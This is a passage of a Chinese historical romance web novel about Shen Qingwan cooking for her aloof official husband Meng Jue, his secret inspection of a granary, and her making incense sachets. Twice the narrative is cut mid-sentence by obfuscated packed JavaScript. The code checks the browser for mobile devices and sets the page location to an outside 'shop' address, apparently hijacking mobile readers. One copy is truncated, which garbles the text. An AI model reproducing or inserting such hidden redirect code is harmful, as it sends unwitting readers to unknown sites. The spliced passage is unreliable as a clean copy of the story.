青石板路泛着冷光，她攥着袖角的手心里沁了点汗，不敢看他，眼角带着一点对方的衣服与移动的脚。 在一处岔路，她见孟玦要往另一处去，她听见自己的声音，极轻极轻地问：“今日……夫君要不要去我房里歇着？” 话刚出口，孟玦的脚步顿了顿，却没转身，只侧过半张脸——月色落在他的眉骨上，另一半脸隐在树影里，瞧不清神色。 他打量着自己的妻子，五官秾艳，神色又是那样的纯真无害，若是没听见那样一番话……他也许真的会以为她是个温良之人。 也许日子久了，两人相熟，他便能渐渐接受她成为自己的妻。 可如今他知晓她是怎样一个表里不一的人，怎样一个不择手段攀高枝的人。又如何能将这样的人视为妻，与之亲近。 他语气淡淡的：“书房尚有公文未批，今夜会歇在书房。” 沈卿婉的心轻轻地一沉，只当他真的忙于公务，心里有几分遗憾，几分不好意思。抬起头，正欲说些保重身体的话，猝不及防闯进对方的目光里。 她一怔，总觉得刚才那一眼带着一点冷意，可再仔细望过去，望着那半隐在黑暗里的侧脸，瞧不出半分情绪。 她心里打了个转，又觉得许是自己多心，温声道：“那……夫君也要顾及自己身体，别太累了。” 孟玦没再说话，只轻轻“嗯”了一声，便转身继续往书房走。 沈卿婉回了自己院子，只稍坐了一会，念着孟玦一大早便去了官署，后面又马不停蹄陪她归宁，这会还要去看公文。 做丈夫的如此勤勉，她这个做妻子又岂能偷懒。她活动了一下僵硬的肩背，便亲自去厨房熬了莲子粥，唤人送了过去。 孟玦只看了一眼那莲子粥，便叫人先放在一旁的茶几上。 一放便是一晚上，那热气氤氲的热粥转天便成了黏黏糊糊的凉粥，最后被倒在泔水桶里。 *** 归宁过后的几日，孟玦初时晚间尚还归府用膳，到后来便常常至夜阑人静方回。 此时暑气渐盛，溽热浸人，沈卿婉心中不免牵挂：一则忧他日夜操劳，恐伤了脾胃精神；二则又念及官署膳食粗简，未必合他口味。 这日便亲手细做了几样吃食，清润解暑，又亲自乘马车，送去官署。 沈卿婉与门口的小吏说明了来由，小吏转身去值房通报。 彼时值房内，周明远的夫人正打开食盒，一碟一碟端着家里做的吃食。 小吏进来告知孟玦，孟夫人带了食盒就在官署门口等着。 周明远听见了，笑骂了一声：“孟官人的夫人你们还通报什么，还不赶快将人请进来……” 话音还未落，便听孟玦淡淡道：“官署乃断案理事之所，非后宅叙话之地，妇道人家往来穿梭，不合规矩，让她回去。” 7. 痴情女初入值房 孟玦话音刚落，官署内顿时静得连呼吸声都清晰可闻。 正咬了一口自家媳妇带来胡饼的周明远讪讪一笑，先是斜着眼，悄悄打量了一眼王氏的神色，王氏神色淡淡的，好似并未将孟玦的话放在心上。 他不由地松了一口气，食不下咽地嚼着那硬邦邦的胡饼。明明家里有厨子，可王氏偏爱自己动手，可苦了他嘞。 他好不容易将那硬得跟石头一样的胡饼嚼软，吞下去。正欲喝点红豆汤送下去，只一口，差点喷出来，这是放了多少糖？ 甜得发腻！ 他望了一眼孟玦，想着要不趁此机会打消了王氏送吃食的念头，他这般想着，偷偷觑了王氏好几眼。 王氏冷不丁地转过头，盯着他道：“怎么了？饭菜不合胃口？” 周明远拨浪鼓似摇了摇头：“怎么会？只是天气这般热，娘子这般想着我，为夫感动还来不及呢，只是……”，他朝孟玦那边努了努下巴，给王氏递了个眼神。 王氏冷哼一声。 周明远不敢吭声了，罢，罢，没准那孟玦家送的饭菜也是如此，他这般安慰自己。 回话的小吏不敢不传孟官人的话，也不想得罪孟家娘子。虽说孟官人与孟家娘子有些生分，可说到底人家才是一家人。 万一后面又好了，苦得可是他这个跑腿的。思来想去，他决计不做这得罪人的活，他谎称肚子疼，将话递给了在门房的绿松。 午时日头正烈，官署前空空荡荡的，连个树荫都不曾有，含香拿着帕子替沈卿婉擦了一回汗，嘟囔着：“早知道就拿把伞了……怎么这么长时间还没出来……” 正絮絮叨叨抱怨着，见原先那个小吏不见了，反而是孟玦的贴身长随绿松出来了。含香狐疑地将人打量着。 绿松挠了挠头：“郎君让娘子回去。”，他声音越说越小。 含香听完后，鼻子里哼了一声，转身就要拉着沈卿婉离开，“这么大热的天，眼巴巴地跑过来晒太阳，还不如在府里待着省事。” 沈卿婉将她拉住，侧过头对绿松柔声说道：“我不进去了，劳烦你将这食盒送进去，都是些消暑的吃食，今个天热，寻常吃食未必能称心。” 隔了一会，在走廊上，绿松拎高食盒，眨巴着眼睛看着食盒，他怎么就答应了？ 诶……他轻轻叹了口气，他肯定不能再折回去，只能硬着头皮提着食盒往里值房去。 孟玦彼时正翻阅着《氾胜之书》，见他提着一个三层褐色食盒，按在纸页上的手一顿，眉毛一耸，漆黑的眼瞳格外摄人。 绿松忙将食盒放在案角，反手就把自己衣襟袖袋都翻了出来，连袖口都掀给孟玦看：“郎君明鉴，小的没敢收娘子半分东西！ “只是娘子心疼郎君，怕今儿暑气重，您没胃口，特地做了消暑的吃食。 “小人听着娘子这般说，又想着那公厨大热天送来的还是些热饭，小人念着郎君，这才拿了进来。” 孟玦的目光落在食盒上，他沉默片刻，指尖在案上敲了敲，终究没再斥责，只淡淡道：“放着吧。” 绿松见他松了口，勤快地揭开食盒，“郎君还未用饭，不如先将午饭用了。” 只一打开，绿松小声惊呼。 引得不远处的周明远也探过脸来瞧：那食盒第一层，是碧莹莹的槐叶冷淘，是槐叶汁和面制成，又过了凉水，点缀着一点樱桃酱。 第二层是花朵形状的莲子糕，糕体雪白，撒了一点淡黄色干桂花，更添一层风味。 最下层摆着只白瓷碗，去了壳的绿豆熬得沙软，浮着几粒融了一半的碎冰，碗底还卧着片新鲜薄荷，暑气似都被这碗汤压下去几分。 啧啧！ 周明远露出贪婪的眼神，啧啧，这手艺——比那云香楼也不差，再垂头看着手里的胡饼，愈发觉得难以下咽。 他心中暗叹，人比人，比不得嘞，韫白可真是有福气。 不单是他这般想，另几位值房里的官员，眼角早瞥见了食盒里的景致，也忍不住凑了过来，“孟君好口福，这槐叶冷淘做起来可是要废一番功夫……” “这莲子糕做得精致又小巧……” 孟玦闻言，头也不抬地说道：“你们若是喜欢，便分着吃了吧。” 侍立在一旁的绿松拿着食盒盖愣了一下，张大嘴巴回看了孟玦一眼，这可是娘子的一番心意！他心急地丢了好几个眼色，示意不妥。 孟玦却只当看不见，绿松见他心意已定，也不好阻止，只能默然看着。 他猜想着郎君还在意那日的话，以为这些都是娘子用来讨好他的手段。可若真的只是手段，为何不去云香楼买现成的？ 那岂不是更省事吗？ “韫白既如此说了，那我们恭敬不如从命了。”周明远和几位大人一同分用了食盒的吃食，那莲子糕尤其受欢迎。 周明远本想慢慢品尝，一转眼，就剩了两个，也不顾得君子风度，一手捞了两个。 “周通判不是有自家娘子带来的吃食吗？如何与我们这些孑身的人抢吃的……”，说着还拍了拍周明远微微凸出的肚子。 周明远翻了个白眼：“你这么惦记我家的吃食，待内子明日她来送饭，我全留给你，可好？” 他说完，便觉得屋内静得异常，旁边绿松使劲给他打着眼色，他还没反应过来，便觉耳朵一痛，整个人被揪着耳朵，提溜起来。 原是早已出去的周夫人折回来拿帕子，刚进门就听见这话，“你嫌弃我做的饭不好？那你以后别吃了！” “别介啊，夫人，我那不是……”，他压低声音，附耳道：“说点好话，奉承上官吗？论手艺，绝对是娘子更胜一筹！ “夫人，可以先放开我了吗？” 王氏松开手，眱了他一眼道：“行，给你留几分面子，回家再说。” 王氏撂下话，同女使往外走，刚到正门，便见一道倩影上了不远处的马车，慢慢悠悠地走了。 王氏偏着头问道：“那位便就是孟夫人。” 小吏回说是。 “瞧着倒不像外头传的那般……是个狐媚惑主的。”，王氏没由来地说了一句。 身旁的女使奇了怪道：“娘子不过只见了一面，如何这般见解？” 王氏并未回答她这个问题，只是道：“她那手点心做的倒是不错，我瞧夫君甚是喜欢，若是以后有机会，可以请教一番。” *** 在回程的马车里，含香拿着团扇“呼呼”地扇着，仿佛扇的不是风，而是看不见的某个人。 沈卿婉自是察觉到她的情绪，好笑地朝她望望。 “娘子您还能笑出来？一早上伺候完老夫人，就在小厨房待了整整一个上午，辛辛苦苦做了吃食送过来。 “主君倒好，连官署门都没让您进……”，说着，含香话音降了下来，气得委屈。 沈卿婉垂眸瞥了一眼旁边空空的食盒，温声道：“他那话倒也没错，衙署是办公之地，往来皆是同僚属吏。 “我一个外女进去，确有不妥。再者，那羹汤糕点都见了底，我过来，本就是为了送吃食，又不是为了旁的，见与不见……也没有那么重要。” 含香听了，愈发为自家娘子感到委屈，这事若搁别的娘子身上，就算不当场闹起来，也要憋着一口气。 哪像沈卿婉，受了气，还要替主君百般譬解。 这样好的性子，倘若嫁给普通人，略略经营一番，都是别样一番光景。可偏巧遇到孟玦。 那孟官人当官自是明镜高悬，晨兴夜寐，可论起为人夫…… 含香默然，若是娘子没有去县主寿宴，那娘子和陈家郎君……既知根知底，那陈公子对娘子也是有情有义的。 她仔细想了一想，不由地又替沈卿婉感到心酸，眼眶也微微泛着红。 含香扭头偷偷揩了揩眼角，吸了一口气，转而问起别的，“不过说起来也怪，本以为主君不爱甜食，没想到那甜的莲子糕七八块，竟吃得一块不剩，娘子是如何得知主君喜欢甜食？” 沈卿婉听着含香的问题，思绪飘回到沈宅。彼时，孟玦还未曾像现在这般忙碌，下值 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17024532|194328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后，会与她一同陪着孟老夫人用饭。 孟绾，便是孟玦的胞妹，喜甜。若是孟绾过来陪老夫人用饭，厨房便会多做一道甜味膳食。上菜时，老夫人身边的常嬷嬷特地将甜菜放在姑娘那边。 孟玦虽然一言未发，可她就是敏锐地捕捉到了他眼神中的波动，直觉告诉她，孟玦也是喜欢甜口。 她试着猜想，或因嗜甜有损其威仪？所以他才不说，也忍着不吃。 这么一想，倒是……蛮可爱的，她眼底掠过一丝浅淡的笑意，她仿佛知道了他的小秘密，内心觉得更亲近了几分。 自那日官署送食后，沈卿婉便每日换着花样做了午食送到官署，一连半个月，未曾间断。 这日晨起，天便阴得厉害，到了午时，竟淅淅沥沥下起大雨来，雨势越下越急，打在青瓦上噼啪作响。 因这大雨，公厨的饭迟迟未送达，周明远饿得前胸贴后背，他有气无力地趴着桌案上，闪着目光看向孟玦，“弟妹今日也不来了吗？” 孟玦抬眼瞧了一眼窗外的大雨，打着院里的枝叶胡乱颤着，淡淡道：“她今日应当是不来了。” 这些日子他皆宿在书房，有意冷着她，想来她也察觉了，自是偃旗息鼓了。 不过一息，绿松提着食盒，跑进来掇着肩气喘着道：“郎君，娘子送饭来了。” 孟玦愣了一下，又听他道：“今天雨大，前面的北洛街积了一层水，车夫没注意水洼下有一凹陷处，车辋断了裂开，差点翻了车。 “后面的路都是娘子亲自走过来的，裙摆都湿透了。” 绿松一面说，一面打量着孟玦的神色，说完后，见他神色依旧淡淡的，只觉郎君也太不讲情面了。 他想着郎君一时不会改变心意，还不如快快返回，告知娘子，让她早些回去。 绿松刚扭身出去，却听孟玦开口道：“等等——将她请进隔壁东值房。” 孟玦作为从四品转运副使，本应该有自己的值房办公，只因他为了便于公务，随时可以和其他官员沟通商议，便没有使用，而是在正房和大家共用一个值房。 绿松呆了一下，待反应过来孟玦说了什么，立马没了人影，郎君果然还是心疼娘子的。 东值房。 沈卿婉坐在胡床上，褪去湿透的鞋袜，弯着身，拧着湿重的裙摆，裙摆上面的鸢尾花像是被雨水淹透了，蔫着脑袋，“滴答滴答”落着水。 待不再滴水，她两只手撑在胡床上，一双白山茶花似的玉足悬在胡床上，轻轻荡着，她打量着这个陌生的房间。 除了她这会坐着的胡床，便只有一张桌案，一张官帽椅，还有一个书架，上面搁了一半的书籍和卷宗，除此之外，再无其它。 这便是孟玦处事的地方吗？ 她头一次来，感觉像是闯入另一个世界，有些惶惶，又有些隐秘的开心，她好像又接近了孟玦一点。 孟玦进来的时候，便瞧见自己的妻子像是林间的雀，转着脑袋，东瞅瞅，西看看，仿佛这个房间有什么新奇的玩意。 看见他进来了，原本嘴角高高扬起的弧度，渐渐平了几分，依旧是带着笑的，是温柔得体的笑。 孟玦告诉她，他派绿松同含香回去取干净的衣裳，又叫小吏去修马车，等会雨停了，便可以回去了。 沈卿婉不知该说些什么，只轻轻地道了一声谢。 她本来是想送饭的，没想到反而给他添了这么多麻烦，她咬了咬唇，心中生出了些许懊恼，余光里瞥见他正盯着自己。 她立马正了正神色，不再晃着脚，而是规规矩矩地坐着，将脚并拢，她赤着脚，有些不大好意思。虽然她与孟玦已结为夫妻，可除了第一次的“意外”，她们再未曾亲近过。 她心里总觉得有几分羞涩，脸上浮着她自己未曾察觉的绯红。 屋子不大，一眼便可窥净全貌，她的一举一动他皆看在眼里。在昏暗的房间里，那双玉足是黑夜中的萤火，总是不经意地吸引着行人的目光。 他忽然感觉有些饿了，转头看见桌案上的食盒—— 8. 瑞和堂问夫妻事 沈卿婉不解其意。 她来时听绿松说起，今日大雨，公厨还未送饭，孟玦此刻还未用过饭，既未用饭，为何久久不用饭？ 她疑惑地看着他，又不好直言相问。 她感受到有目光落在自己身上，是孟玦在盯着她看，那眼神仿佛在问“你想说什么？”，沈卿婉脑子一空，飞快地报了一遍菜名。 说完，她脸一红，抿着嘴，感觉自己犯了个蠢，也不知孟玦会怎么想她？她略略偏过头，用余光打量着孟玦，恰好与他看过来的眼神对上。 孟玦背着光，神色晦暗难辨，她只觉得他异常沉默。 孟玦瞧着妻子的小动作，也自然感受到她的目光紧紧跟随着他，期待着什么。 他不知道绿松是如何与她说的，教她误会。他本该告诉她，他从未用过她做的吃食。但触及到她那灿然的眼，他解释的话一下子竟说不出来。 他默然望着那食盒，一件事，若只是偶尔做一次，不过是兴致偶然，而持之以恒……便不能兴致一词概括。 若非有心，便不会大雨天也不间断送来；若非有心，便不会换着花样亲手烹制。 孟玦并非草木，这些天沈卿婉的举动，让他的心里也是有那么一丝动容。 他虽未打听过她的事，但那日归宁，他总归看出一二——她在沈家过得并不好。 他出生侯府，后宅里面的勾心斗角他也是见识过的，向上攀附，算是求生之举，虽用错了手段，但这些日子他瞧出她也算安分守己，恪守妇道的一个人。 她本性是不坏的。 他思索了一会，决定装作糊涂，将此事揭过，他打开食盒盖，将里面的菜品的一一拿出，一碗鸡汁闷笋丝，一碗梅花汤饼，一盘桂花糖糕。 他先夹了那糖糕，软糯香甜，桂花的清香十分浓郁，不知不觉就多用了两块，似乎是感受到什么，他蓦地抬起头。 沈卿婉见他喜欢自己做的点心，心中欢喜，一时忘了情，就这么一错不错地盯着他。 见他蓦地抬头望过来，就这么毫不掩饰地撞进他眼里，她呆了一下，连忙掉转过脸，装作看窗外的雨。 孟玦几乎将那一盘桂花糖糕全部吃完，他知道她的手艺好，官署里的同僚用过她的点心无不称赞她的手艺。 只是他带着偏见，从未尝过，如今吃了一回，以后恐怕再难戒断。 下了半天的雨终于停了，铅色的积云不知何时散了，只留下澄明的灰蓝色天幕。 一炷香后，绿松带着含香匆匆赶来，孟玦用完饭，去了值房。 东值房内，含香侍候着沈卿婉换了干净的衣裳，她与孟玦打了招呼后，便乘车回府。 绿松望了望沈卿婉的背影，又瞧了瞧孟玦，他总觉得郎君对娘子的态度有了不一样的变化。 后面证明他确实没想错—— 自那日后，沈卿婉还是日日送饭，不过郎君不再拒绝，而且还叫他请娘子进来。 不过娘子拒绝了，说官署重地，她确实不方便进来打搅。 绿松只得讪讪一笑，心中暗暗祈祷，她可千万别撞见其他大人的夫人来官署的场面。 *** 转眼到了这年五月。 颍之地邑，地处章江和贡江汇合，曰为“浮城”，水无所去，多有水，尤其端午时节，发多汛情。 孟玦去年秋季任职颍州，恰逢大丰年，无灾无害，乘人之有余，及其暇时，劝督各乡居民修筑河堤，以防来年水患。 今小雨连绵已半月有余，孟玦心有所感，与官署诸位大人商议，决定亲自去各县农业圩田区巡视一番。 有人道：“大人心系河防，实乃百姓之福，只是……这细雨朦胧，景致颇佳，怎会成汛，大人多虑了。” “虽说前岁有过洪涝，但去年风调雨顺，年末大人一来就加固了，定然不会再出岔子。” 两个人一递一声说话，孟玦不做声，只是冷冷地瞥了他们一眼。 他们又看向能说会道的周明远，希望他能劝住。去了下面，好处是没有的，路程是要兼赶的，到时候泥点子打到衣服上，又要多一笔额外的花销。 周明远看懂了他们的眼色，他自是也不想受那个罪，只是他深知韫白秉性，若是直言，只会白费口舌，只能另寻了个话头，“听说隔壁通州，那边闹了起义。” 有人应道；“是听说有这么一回事，不过朝廷可派了大人物来平事。” 周明远接话道：“通州与颍州相邻，保不定要来这面消遣几天。孟转运使不若留在颍州，到时候尽地主之谊，招待人家。” 孟玦闻言，也偏过头来看他。 有人见问：“谁呀？” “陛下的小舅子，军马司副指挥使季泽，季怀清！” 有人不解地问道：“他去的通州，为何周通判觉得他一定会来颍州？” 不待周明远回答，自有人抢着答了：“颍州最大的世家便是季家，马上端午了。那季泽肯定要顺道回来看看家人。” “听说这季泽今年不过是舞象之年，就是从三品的官员，可真是年少有为。” 有人冷笑道：“不过是仗着祖辈荫庇得来的功名，与其羡慕他，不如怨自己未投个好胎。” 孟玦见他们越说越远，与政务毫无关系，咳嗽了两声，将话题拉回正轨。 孟玦见他们不愿下乡巡河道工程，他也不恼，只淡淡一笑：“既诸位公务繁忙，那便罢了。” 他派绿松唤了小吏备了车马，准备只身前往。 才坐到马车，外面传来周明远的声音：“韫白且慢！” 只见周明远上前两步，拱手笑道，“咱们同属一府，皆是此地父母官，河道安危关乎百姓生计，岂有让韫白孤身前去的道理？” 他身后还跟着数位同僚，纷纷附和：“周兄所言极是，我等愿与转运使同往。” 一行人当即动身，不消半日便到了最近的惠和县。 原本该直奔闸口查看汛情，为首坐着孟玦的马车却拐了个向，奔到另一处地方。 周明远在后面的马车上，眉头渐渐蹙起，他掀了掀轿帘，望了望两旁的田埂，又捻着胡须默算片刻，忽然心头一跳——这路，分明是通往官仓的方向！ 他猛省道：“原来巡河是假，查官仓才是真！”，他没想到孟玦还在查之前的籴米一事，他默然着，把那满腹的惊疑按捺得严严实实，面上依旧不动声色。 一行人到了官仓门口，把守的除了小吏，连县丞和主簿几个官老爷也一道守在那，像是提前得了风声，等候着他们。 孟玦眼神暗了暗，知走漏了风声。可他料定这短短半日，纵是有人要掩盖猫腻，也断断来不及周全，遂冷着脸一挥手：“进去查。” 那县丞忙不迭地迎上来：“孟官人真是体恤民生，亲自来查这官仓。官人这般勤政爱民，真是我等治下百姓的福气！” 又凑上前，压低了声音道，“下官已备下薄酒，就等官人查完，也好为官人接风洗尘。” 孟玦只当没听见，径直往仓里走。身后周明远笑盈盈地接了话：“县丞有心了。不过我等今日有公务在身，酒饭之事，还是先搁一搁吧。” 县丞脸上讪讪的，却也不敢多言，只得跟在后面赔笑。 官仓里头倒也敞亮，四处都透着一股子干燥气，地上铺着厚厚的芦席，连一丝潮气都无。孟玦踱了两步，忽开口问道：“近日天气如何？我等查完此处，还要去河堤看看汛情。” 县丞忙回道：“回大人的话，近日皆是晴空万里，一丝雨星子都不见，天干得很呢！” 孟玦闻言，目光落在墙角堆着的斗上。他掀开覆在上面的麻布，伸手便往里头探去。指尖触到的米颗颗饱满莹润，是今年新收的上好粳米，带着几分湿润。 他轻轻一捧，米簌簌地从指缝滑落，有几粒还粘在他手上，他抖了抖手，再看那县丞，早已敛了笑容，眼神躲闪着不敢与他对视。 孟玦盯着他紧绷的脸看了半晌，一言不发，只将手往米斗深处又探了几分。待抽出手时，掌心里并无米粒。 县丞瞧着这一幕，偷偷松了口气。 孟玦淡淡道：“既无甚不妥，便随我去河堤看看吧。” 一行人出了官仓，孟玦走在最后，悄悄捻了捻指甲缝里残留的几粒陈米。那米带着一股陈腐的霉味。 他心中已然明了：这官仓的米，竟是新米盖着陈米，新米还是外面运来的米，做的是掩耳盗铃的勾当。 此刻点破，如上回一般，也不过是抓几个小吏顶罪，根本动不了背后的人。 倒不如暂且按捺，待寻到确凿证据，知晓籴米去了哪里，再一网打尽。他定了定神，快步跟上了前面的众人。 *** 窗外下着淅淅沥沥的雨，那雨丝像是银针，在院中的绿植中穿针引线，忽而长，忽而短。 沈卿婉正坐在窗前绣花，素白的绷架上，几枝艾草已绣得初具模样，绿线勾叶，黄线缀花。 含香右手支着一把伞，左手揽着一个竹制的篮子，里面盛艾草、菖蒲之属。她直冲冲地往台阶去，溅起的水花，濡湿了她的裙角。 她站在窗外，将手中的篮子往前一送，“娘子瞧瞧，这艾草、菖蒲如何？” 沈卿婉抬眸，目光落于篮中艾草，见其碧色如新，枝叶扶疏。她将手中的针线暂且搁下，用手轻抚篮中之物，问道：“今日府中也采买了不少端午节物，瞧着都没你买的好，何处购得的？” 含香微微挺着胸，有点骄傲地说道：“可不是买的，是别人送的。 “原是出去买百索和香糖果子，路经留香坊时，那穆掌柜正送着客出门，见我路过，硬拉着我叙了一会话，临了便将这篮东西塞给了我。” 沈卿婉捻着艾草的叶子的手微顿，又问：“想必她还说了别的话吧？” 含香闻言，“咦”了一声，忙问：“娘子怎地知晓？那掌柜说，端午将至，想请娘子再做些艾草香包，说去年娘子做的，卖得极好呢。” 沈卿婉隔了好些时候没有开口。 含香道：“娘子本就爱做香，卖了香包还能得些体己钱，为何不答应？” 沈卿婉道：“我如今已是他人妻，夫君他又是为朝廷做事的，再抛头露面做这些营生，恐对他声名有碍。” 含香撇了撇嘴：“娘子整日只替主君着想，他却何曾念着娘子？成婚近两月，他竟未踏足娘子房内半步。老夫人也日日因这事，罚娘子立规矩呢。” 沈卿婉替孟玦解释道：“他并非故意冷落，不过是案牍劳形罢了。” 含香不再说此事，另道：“那我是否要明确回绝穆掌柜？告诉她娘子此后不再卖香了？” 沈卿婉想了一想：“从前她帮我甚多，若不是早些年她愿意收我这个没名气的香师的香，我和小娘哪能撑到今天？ 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17024533|194328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“这来来往往也七八年了，我这婚事来得突然，与她的合作也断得突然。这两个月还未曾有机会与她说清，既然她开了这个口，我便做些香包也无妨。 “到时候我亲自去送香，与她说清。” 说罢，沈卿婉取过纸笔，纤指拈毫，将所需的香料一一列于纸上，她折好单子递与含香：“你且按此去买，莫要遗漏。” 含香接了单子，走出清轩院，一面走，一面认着单子上的字：薄荷，艾草……陈皮。 她目光落在陈皮上，脚步一顿，扭头看了一眼院门，她记得当初沈卿婉说过，陈皮当属陈家药铺的最好，陈化最佳，味道浓郁。 可是……陈家。 她捏着单子的手紧了紧，罢了，不过一位香料罢了，其他家的也都一样。 待含香购得香料归来，沈卿婉已将绣绷收起，案上摆好了碾槽、筛罗等制香的物件。 待接过含香所购香料，她自然也注意到了那陈皮与往日的所买的不同，她没有多言，如往常那般，将香材去杂，切段，然后磨碎。 再取过细筛，将研好的香料一一过筛，粗细均匀，无半点杂质，装入备好的瓷瓶中。 含香知道沈卿婉制香喜静，不喜别人打扰，便搬了个圆凳，守在廊下，竟不知觉睡着了。 沈卿婉埋首制香，不觉窗外已浸了黄昏色，那夺目的余晖自天际落下穿过门缝，化为一条光线牵引着她的目光。 她顺着橙黄色的线望去，才觉天色已暗，唤了半天含香，才知她竟睡着了，又唤了一个女使询问，方知原来已经到了酉时。 这个时辰该是去瑞和院侍候婆母用饭。 她来不及收拾桌上的狼藉，只得匆匆赶往瑞和堂。 过去的时候，还是落了一顿说教。 沈卿婉侍立一旁，默默听着。 含香跟着暗暗叹气，孟老夫人不喜欢娘子，无论娘子迟不迟到，得不得体，她总能寻到娘子的错处。 沈卿婉为孟母布过一回菜后，外面的女使进来通报：“主君回来了。” 孟母执箸的手一顿，对着沈卿婉道：“行了，既然韫白回来了，你也坐下一同吃吧。” 沈卿婉谢过老夫人，方才坐下。 待孟玦进来坐下，沈卿婉的目光有意无意地扫过他，他今日去了哪？衣摆下面都脏了，面色也瞧着多了几分疲态…… 正胡乱想着，忽听孟老夫人发话，“你们成婚也近两月了，总该为孟家添个孩子。如今他日日宿在书房，你也不跟着劝劝，倒显得是你不懂事，不顾周全。”话里话外，皆将矛头指向沈卿婉。 孟玦正欲开口解释些什么，却听沈卿婉从善如流地接话道：“母亲说得对，都是儿媳的错。” 他侧目看向她，瞧着她这幅宠辱不惊的姿态，就猜出她不止一次遇到母亲的刁难。 他知晓母亲不喜他的妻子，肯定不会给她好脸色。但他从未放在心上，也从未听过她向他抱怨过。 她只是默默承受。 他的心忽然涌现一股道不明的情绪，他敛了敛神，收回那繁杂的思绪，向孟母道：“母亲，此事不怪她，是儿子近日公务繁忙，总需在书房处理公文，若母亲怪罪，便怪罪儿子吧。” 孟老夫人见他如此说，只眱了他一眼，不再多言。 沈卿婉心中微动，她知孟玦最重孝道，今日竟为了维护她而反驳孟母，她的心烧了起来，将脸颊烧得发红发烫。 她低着头，缓缓平息着那奇妙的感觉，又耐不住悄悄看向孟玦。 这一看，让她瞧见孟玦的衣领下，竟有两个小红点——格外扎眼。 她忍不住多盯了两眼，孟母也跟着瞧见了，忙问：“你颈间怎的有红点？莫不是生了疹子？” 孟玦抬手摸了摸，淡淡道：“是蚊虫叮咬的。” 老夫人皱眉：“怎的不佩戴些驱蚊的物件？” “绿松替我置办了驱蚊的香囊，只是看上去……不是很有效果。”孟玦答道。 沈卿婉听得这话，若有所思地看了那小红点一眼，心中有了打算。 待用完晚饭，她边走边想着要给孟玦做一个驱蚊祛疫的香囊。 忽然眼角闪过一片靛蓝色衣角，她脚步一顿，又猜想许是孟玦要从这边的小道绕回书房？旋而放松下来，继续走着。 待到了分道的地方，她放缓了脚步，原以为孟玦会拐向通往书房的那条路，却瞄见他仍跟在身后，似乎是要跟她一起回清轩院。 沈卿婉还来不及开心，便想到了另一件事，她的脚步再难挪动半分——屋子里调制香料的器具还未收拾起来。 暮夜的风摆弄着院中的绿芜，簌簌抖落着，又像只蝴蝶停留在沈卿婉的长睫上，又“腾”地飞去，带起一片波澜。 大夏文人以狎妓自诩风流，做诗也是以风花雪月为主。孟玦虽是文人，却并不喜风流一事，也不知他会如何看待自己制香…… “怎么了？” 她听他说话的声音就在耳边，不觉心头一震，回过脸去瞧他，竟不知他什么时候到了她背后。 来不及多想，她小声道：“夫君，我今日……身子不太爽利，许是月事来了。不如改日再……” 她的声音太轻，孟玦不得不微微俯下身子，待听清她的话后，他微微一怔。 他直起身子，视线从她红润的脸色扫到后面的屋舍，他若有所思地打量着自己的妻子。 9. 情意绵绵赠香包 走道上寂静无声，这庞然的安静使她有些不安，他怎么不说话了？难道他生气了？她正胡乱想着，却听见一声极轻极低的笑声。 她抬眸望去，又见孟玦神色淡淡的，仿佛刚才那一声只是她的错觉。 “过完端午后，我要去下面几个县巡察一番。原是要去屋内顺道收拾几件厚实的衣裳，屋里若是不便，叫女使收拾几件送来也是一样的。” 沈卿婉听完后，脸腾地一热，她好像又会错了意，说错了话。 目送他转身离去，肩上虽松了，心里却无端空落落的。方才那一番忐忑，竟似自家唱了回独脚戏，没个着落。 方才那些慌乱的心思，倒像是她自己演了一场独角戏。 翌日。 天色将明未明，黛青色的天幕还未完全褪尽，只见东边透开一丝极淡的鱼肚白。 细雨像揉碎的棉絮，密密麻麻织在空气里，将身前的小路晕成一片湿润的青灰，连带着远处的树影都笼着层朦胧的雾。 绿松替孟玦打着伞，主仆二人一同走着，转过一处弯，便看见前面竹林里竖着一荔枝色油纸伞，像是绿叶丛中开出的花。 含香稳稳撑着伞，伞下的沈卿婉立在薄雾里，淡粉色衣裙沾了点雨汽，像是沐雨的花苞，粉嫩娇艳。 她胳膊肘里拢着一件墨蓝色披风，见他过来，便往前走了几步，站定在他面前，“昨个收拾箱笼时，翻出来这件披风，想着近日连着下雨，你身边的人也不便进屋翻找，我便拿了过来。” 孟玦接过披风，却不见她离开，有些疑惑地看了她一眼。 沈卿婉从袖中拿出一个竹青色荷包“这个……是我自己做的，能驱蚊。” 孟玦恍然想起昨夜席间不过随口一提，没想到今早她便亲自做了香囊送来。 他接过香囊，指腹划过那细密的针脚，目光微移，落在她那瓷白的脸上，眼下有着淡淡的青印。像是无暇的白玉落了尘灰，他下意识摩擦着指腹，咳嗽了一声，声音不自觉放轻问道：“是连夜做的？” 沈卿婉见他问这话，私以为是连夜赶制，做工粗糙，让他不喜：“确实是赶了夜，针脚是不是……不太好？” “不是，做得很好。只是来日方长，何必急于一时。”末了，他又添了一句：“熬夜伤身，夫人要顾念自身。” 这雨只下了一刻钟便偃旗息鼓，歇息许久的太阳，懒洋洋地没过鳞次栉比的屋宇，穿过葳蕤的芳草，路过园中廊庑时，黄色的阳光顺着檐角一节一节铺在廊庑下。 沈卿婉坐在廊下，伸手感受着逐渐干燥温暖的空气，嘴角含着淡淡的笑。 “娘子今日心情格外的好。”含香道。 “一连阴了半个月，难得放晴，自然欢喜。” “果真只为天晴么？”含香抿嘴一笑。 沈卿婉听出她话里意思，脸微红了，睨她一眼，却不答话。 *** 端午前一日。 